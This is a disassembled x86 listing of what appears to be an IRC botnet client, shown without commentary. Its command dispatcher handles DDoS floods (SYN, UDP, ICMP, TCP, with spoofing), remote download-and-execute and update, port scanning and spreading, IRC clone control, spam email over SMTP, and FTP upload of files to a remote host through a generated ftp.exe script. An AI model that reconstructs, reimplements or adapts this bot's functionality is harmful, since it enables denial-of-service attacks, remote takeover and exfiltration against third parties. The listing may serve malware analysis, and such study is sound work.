		pop	ecx
		jnz	short loc_41107E
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_411057
		cmp	[ebp+var_9C4], bl
		jz	short loc_41102D
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_411047
; ---------------------------------------------------------------------------

loc_41102D:				; CODE XREF: sub_40EE72+21A7j
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		jz	short loc_411051
		push	esi
		push	eax
		push	ebx

loc_411047:				; CODE XREF: sub_40EE72+21B9j
					; sub_40EE72+21E3j
		call	sub_40DE07
		add	esp, 18h
		jmp	short loc_4110AB
; ---------------------------------------------------------------------------

loc_411051:				; CODE XREF: sub_40EE72+21D0j
		push	ebx
		push	eax
		push	2
		jmp	short loc_411047
; ---------------------------------------------------------------------------

loc_411057:				; CODE XREF: sub_40EE72+219Fj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40E337
		add	esp, 10h
		test	eax, eax
		jz	short loc_411077
		push	offset dword_431E78
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------

loc_411077:				; CODE XREF: sub_40EE72+21FCj
		push	offset dword_431E4C
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------

loc_41107E:				; CODE XREF: sub_40EE72+2198j
		push	edi
		push	offset aSend	; "send"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4110C9
		cmp	[ebp+arg_18], ebx
		jz	short loc_4110C2
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E5EB
		add	esp, 10h

loc_4110AB:				; CODE XREF: sub_40EE72+2119j
					; sub_40EE72+214Aj ...
		push	eax
		push	offset aS_1	; "%s"

loc_4110B1:				; CODE XREF: sub_40EE72+4852j
					; sub_40EE72+4B79j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0

loc_4110BD:				; CODE XREF: sub_40EE72+5703j
		add	esp, 0Ch
		jmp	short loc_4110DC
; ---------------------------------------------------------------------------

loc_4110C2:				; CODE XREF: sub_40EE72+2220j
		push	offset dword_431E1C
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------

loc_4110C9:				; CODE XREF: sub_40EE72+221Bj
		push	offset dword_431DF0

loc_4110CE:				; CODE XREF: sub_40EE72+203Bj
					; sub_40EE72+20A5j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_4110DC:				; CODE XREF: sub_40EE72+2043j
					; sub_40EE72+224Ej ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_4110FD
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_4110FD:				; CODE XREF: sub_40EE72+226Dj
					; sub_40EE72+4847j ...
		mov	esi, [ebp+arg_24]

loc_411100:				; CODE XREF: sub_40EE72+9B3j
					; sub_40EE72+4B35j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		mov	eax, esi
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_411114:				; CODE XREF: sub_40EE72+2020j
		push	[ebp+arg_8]
		push	offset aCom_capture ; "com.capture"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413400
		push	[ebp+arg_8]
		push	offset aCom_cap	; "com.cap"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413400
		push	[ebp+arg_8]
		push	offset aIrc_gethost ; "irc.gethost"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413312
		push	[ebp+arg_8]
		push	offset aIrc_gh	; "irc.gh"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413312
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aIrc_addalias ; "irc.addalias"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4132E0
		push	[ebp+arg_8]
		push	offset aIrc_aa	; "irc.aa"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4132E0
		push	[ebp+arg_8]
		push	offset aIrc_privmsg ; "irc.privmsg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41328A
		push	[ebp+arg_8]
		push	offset aIrc_pm	; "irc.pm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41328A
		push	[ebp+arg_8]
		push	offset aIrc_action ; "irc.action"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413224
		push	[ebp+arg_8]
		push	offset aIrc_ac	; "irc.ac"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413224
		push	[ebp+arg_8]
		push	offset aIrc_cycle ; "irc.cycle"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4131BB
		push	[ebp+arg_8]
		push	offset aIrc_cy	; "irc.cy"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4131BB
		push	[ebp+arg_8]
		push	offset aIrc_mode ; "irc.mode"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413181
		push	[ebp+arg_8]
		push	offset aIrc_m	; "irc.m"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413181
		push	[ebp+arg_8]
		push	offset aClone_raw ; "clone.raw"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413113
		push	[ebp+arg_8]
		push	offset aClone_ra ; "clone.ra"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413113
		push	[ebp+arg_8]
		push	offset aClone_mode ; "clone.mode"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41308E
		push	[ebp+arg_8]
		push	offset aClone_m	; "clone.m"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41308E
		push	[ebp+arg_8]
		push	offset aClone_nick ; "clone.nick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413022
		push	[ebp+arg_8]
		push	offset aClone_ni ; "clone.ni"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413022
		push	[ebp+arg_8]
		push	offset aClone_join ; "clone.join"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FFC
		push	[ebp+arg_8]
		push	offset aClone_j	; "clone.j"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FFC
		push	[ebp+arg_8]
		push	offset aClone_part ; "clone.part"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F99
		push	[ebp+arg_8]
		push	offset aClone_p	; "clone.p"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F99
		push	[ebp+arg_8]
		push	offset aIrc_repeat ; "irc.repeat"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ED0
		push	[ebp+arg_8]
		push	offset aIrc_rp	; "irc.rp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ED0
		push	[ebp+arg_8]
		push	offset aIrc_delay ; "irc.delay"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E33
		push	[ebp+arg_8]
		push	offset aIrc_de	; "irc.de"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E33
		push	[ebp+arg_8]
		push	offset aDownload_updat ; "download.update"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412CAF
		push	[ebp+arg_8]
		push	offset aDownload_up ; "download.up"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412CAF
		push	[ebp+arg_8]
		push	offset aCom_execute ; "com.execute"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C1C
		push	[ebp+arg_8]
		push	offset aCom_e	; "com.e"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C1C
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1B
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1B
		push	[ebp+arg_8]
		push	offset aCom_rename ; "com.rename"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412AC9
		push	[ebp+arg_8]
		push	offset aCom_mv	; "com.mv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412AC9
		push	[ebp+arg_8]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129C8
		push	[ebp+arg_8]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129C8
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aClone_make ; "clone.make"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4128DD
		push	[ebp+arg_8]
		push	offset aClone_start ; "clone.start"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4128DD
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127D8
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127D8
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127D8
		push	[ebp+arg_8]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126DA
		push	[ebp+arg_8]
		push	offset aDdos_synf ; "ddos.synf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126DA
		push	[ebp+arg_8]
		push	offset aDownload_wget ;	"download.wget"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412599
		push	[ebp+arg_8]
		push	offset aDownload_wg ; "download.wg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412599
		push	[ebp+arg_8]
		push	offset aDaemon_redirec ; "daemon.redirect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41249C
		push	[ebp+arg_8]
		push	offset aDaemon_rd ; "daemon.rd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41249C
		push	[ebp+arg_8]
		push	offset aRoot_portscan ;	"root.portscan"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123A9
		push	[ebp+arg_8]
		push	offset aRoot_ps	; "root.ps"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123A9
		push	[ebp+arg_8]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122D4
		push	[ebp+arg_8]
		push	offset aClone_pm ; "clone.pm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122D4
		push	[ebp+arg_8]
		push	offset aClone_action ; "clone.action"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4121BC
		push	[ebp+arg_8]
		push	offset aClone_ac ; "clone.ac"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4121BC
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E65
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E65
		push	[ebp+arg_8]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A65
		push	[ebp+arg_8]
		push	offset aDdos_tcpf ; "ddos.tcpf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A65
		push	[ebp+arg_8]
		push	offset aUtil_email ; "util.email"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41189C
		lea	eax, [ebp+var_3F8]
		push	edi
		push	eax
		call	sub_4179C0
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_DB0]
		push	eax
		call	sub_4179C0
		push	[ebp+arg_10]
		lea	eax, [ebp+var_BA8]
		push	eax
		call	sub_4179C0
		push	offset asc_42A3B4 ; " "
		push	offset a__0	; "_"
		push	[ebp+esi+var_80]
		call	sub_40A7D7
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4179C0
		add	esp, 30h
		lea	eax, [ebp+var_6EC]
		push	eax
		push	101h
		call	dword_43AD10
		lea	eax, [ebp+var_3F8]
		push	eax
		call	dword_43AE1C
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_43AE18
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_2EC], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_2E8], eax
		call	dword_43AD98
		mov	[ebp+var_2EA], ax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_BA8]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		lea	eax, [ebp+var_2EC]
		push	10h
		push	eax
		push	esi
		call	dword_43AD40
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	dword_43ADB0
		lea	eax, [ebp+var_CAC]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_15B0]
		push	eax
		push	esi
		call	dword_43ADE8
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	dword_43ADB0
		push	esi
		call	dword_43AE30
		call	dword_43ACF8
		lea	eax, [ebp+var_BA8]
		push	eax
		push	offset unk_431AA4

loc_411888:				; CODE XREF: sub_40EE72+3B51j
					; sub_40EE72+3E38j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_413A62
; ---------------------------------------------------------------------------

loc_41189C:				; CODE XREF: sub_40EE72+28C0j
		push	[ebp+arg_8]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A34
		push	[ebp+arg_8]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A34
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F47
		push	4
		push	esi
		call	sub_40D000
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411906
		push	esi
		push	offset dword_431A4C
		jmp	loc_413BFD
; ---------------------------------------------------------------------------

loc_411906:				; CODE XREF: sub_40EE72+2A87j
		nop
		call	near ptr 2610763h
		push	eax
		call	sub_417302
		pop	ecx
		call	sub_41730C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41730C
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41730C
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_CB0]
		push	edx
		push	eax
		lea	eax, [ebp+var_BAC]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_BAC]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4179A8
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_40F239
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_417956
		push	[ebp+arg_24]
		call	sub_417900
		add	esp, 20h
		lea	eax, [ebp+var_BAC]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_3F8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43AD0C
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_4119D3
		push	offset dword_4319D4
		jmp	short loc_4119D8
; ---------------------------------------------------------------------------

loc_4119D3:				; CODE XREF: sub_40EE72+2B58j
		push	offset dword_431998

loc_4119D8:				; CODE XREF: sub_40EE72+2B5Fj
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_411A01
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_411A01:				; CODE XREF: sub_40EE72+2B71j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D

loc_411A0D:				; CODE XREF: sub_40EE72+2BC0j
		lea	eax, [ebp+var_BAC]
		push	4
		push	eax
		call	sub_40D000
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40F239
		lea	eax, [ebp+var_BAC]
		push	eax
		call	sub_419BBA
		jmp	short loc_411A0D
; ---------------------------------------------------------------------------

loc_411A34:				; CODE XREF: sub_40EE72+2A3Bj
					; sub_40EE72+2A52j
		push	[ebp+esi+var_80]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41781F
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_406AF8

loc_411A5D:				; CODE XREF: sub_40EE72+587Aj
		add	esp, 24h
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_411A65:				; CODE XREF: sub_40EE72+2892j
					; sub_40EE72+28A9j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_678]
		push	esi
		push	eax
		call	sub_41782A
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_4176D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_411AC8
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aAck	; "ack"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411AC8
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aRandom	; "random"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411AC8
		push	offset dword_431960
		jmp	loc_4145FE
; ---------------------------------------------------------------------------

loc_411AC8:				; CODE XREF: sub_40EE72+2C1Cj
					; sub_40EE72+2C33j ...
		push	[ebp+arg_10]
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_411BF4
		push	edi
		lea	eax, [ebp+var_678]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_6F8]
		push	[ebp+arg_18]
		push	esi
		push	eax
		call	sub_41782A
		push	[ebp+arg_0]
		call	sub_41781F
		mov	[ebp+var_574], eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_56C], ebx
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_411B65
		mov	eax, offset aNormal ; "Normal"

loc_411B65:				; CODE XREF: sub_40EE72+2CECj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset dword_43190C
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Ch
		push	eax
		call	sub_416D5C
		add	esp, 2Ch
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_401D82
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA6h
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_411BE3

loc_411BCD:				; CODE XREF: sub_40EE72+2D6Fj
		cmp	[ebp+var_560], ebx
		jnz	loc_41460C
		push	32h
		nop
		call	near ptr 2610F41h
		jmp	short loc_411BCD
; ---------------------------------------------------------------------------

loc_411BE3:				; CODE XREF: sub_40EE72+2D59j
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset dword_4318C4
		jmp	loc_413BFD
; ---------------------------------------------------------------------------

loc_411BF4:				; CODE XREF: sub_40EE72+2C67j
		push	offset dword_43187C
		jmp	loc_4145FE
; ---------------------------------------------------------------------------

loc_411BFE:				; CODE XREF: sub_40EE72+284Dj
					; sub_40EE72+2864j ...
		cmp	dword_43AE88, ebx
		mov	esi, [ebp+arg_4]
		jnz	loc_411D09
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		push	[ebp+arg_10]
		mov	[ebp+var_314], eax
		call	sub_41781F
		push	7Fh
		mov	[ebp+var_310], eax
		push	[ebp+var_8C]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_418C10
		add	esp, 24h
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_310]
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_318]
		push	offset unk_431824
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Eh
		push	eax
		call	sub_416D5C
		add	esp, 24h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_40AF86
		push	ebx
		push	ebx
		call	near ptr 2680AA6h
		nop
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_411CF8

loc_411CE6:				; CODE XREF: sub_40EE72+2E84j
		cmp	[ebp+var_2FC], ebx
		jnz	short loc_411D22
		push	32h
		nop
		call	near ptr 2610F41h
		jmp	short loc_411CE6
; ---------------------------------------------------------------------------

loc_411CF8:				; CODE XREF: sub_40EE72+2E72j
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset unk_4317DC
		jmp	loc_4128CC
; ---------------------------------------------------------------------------

loc_411D09:				; CODE XREF: sub_40EE72+2D95j
		push	1FFh
		lea	eax, [ebp+var_2DC]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_418C10

loc_411D1F:				; CODE XREF: sub_40EE72+3A66j
		add	esp, 0Ch

loc_411D22:				; CODE XREF: sub_40EE72+2E7Aj
					; sub_40EE72+2FD2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	[ebp+var_4]

loc_411D2F:				; CODE XREF: sub_40EE72+567Ej
		lea	eax, [ebp+var_2DC]
		push	eax
		push	[ebp+var_8C]
		push	esi
		jmp	loc_414629
; ---------------------------------------------------------------------------

loc_411D42:				; CODE XREF: sub_40EE72+2808j
					; sub_40EE72+281Fj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		push	[ebp+arg_10]
		mov	[ebp+var_314], eax
		call	sub_41781F
		mov	esi, [ebp+esi+var_80]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_310], eax
		jz	short loc_411DA7
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_30C], eax
		jmp	short loc_411DAD
; ---------------------------------------------------------------------------

loc_411DA7:				; CODE XREF: sub_40EE72+2F24j
		mov	[ebp+var_30C], ebx

loc_411DAD:				; CODE XREF: sub_40EE72+2F33j
		push	7Fh
		lea	eax, [ebp+var_418]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_310]
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_318]
		push	offset dword_43176C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Fh
		push	eax
		call	sub_416D5C
		add	esp, 24h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_40B112
		push	ebx
		push	ebx
		call	near ptr 2680AA6h
		nop
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_411E54

loc_411E3E:				; CODE XREF: sub_40EE72+2FE0j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_411D22
		push	32h
		call	near ptr 2610F41h
		nop
		jmp	short loc_411E3E
; ---------------------------------------------------------------------------

loc_411E54:				; CODE XREF: sub_40EE72+2FCAj
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset dword_431724
		jmp	loc_4128CC
; ---------------------------------------------------------------------------

loc_411E65:				; CODE XREF: sub_40EE72+27DAj
					; sub_40EE72+27F1j
		push	8
		call	sub_416FA4
		push	[ebp+arg_18]
		mov	[ebp+arg_8], eax
		call	sub_41781F
		add	eax, [ebp+arg_8]
		pop	ecx
		pop	ecx
		cmp	eax, 3E8h
		jle	short loc_411EB8
		push	[ebp+arg_8]
		lea	eax, [ebp+var_2DC]
		push	offset unk_4316D8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
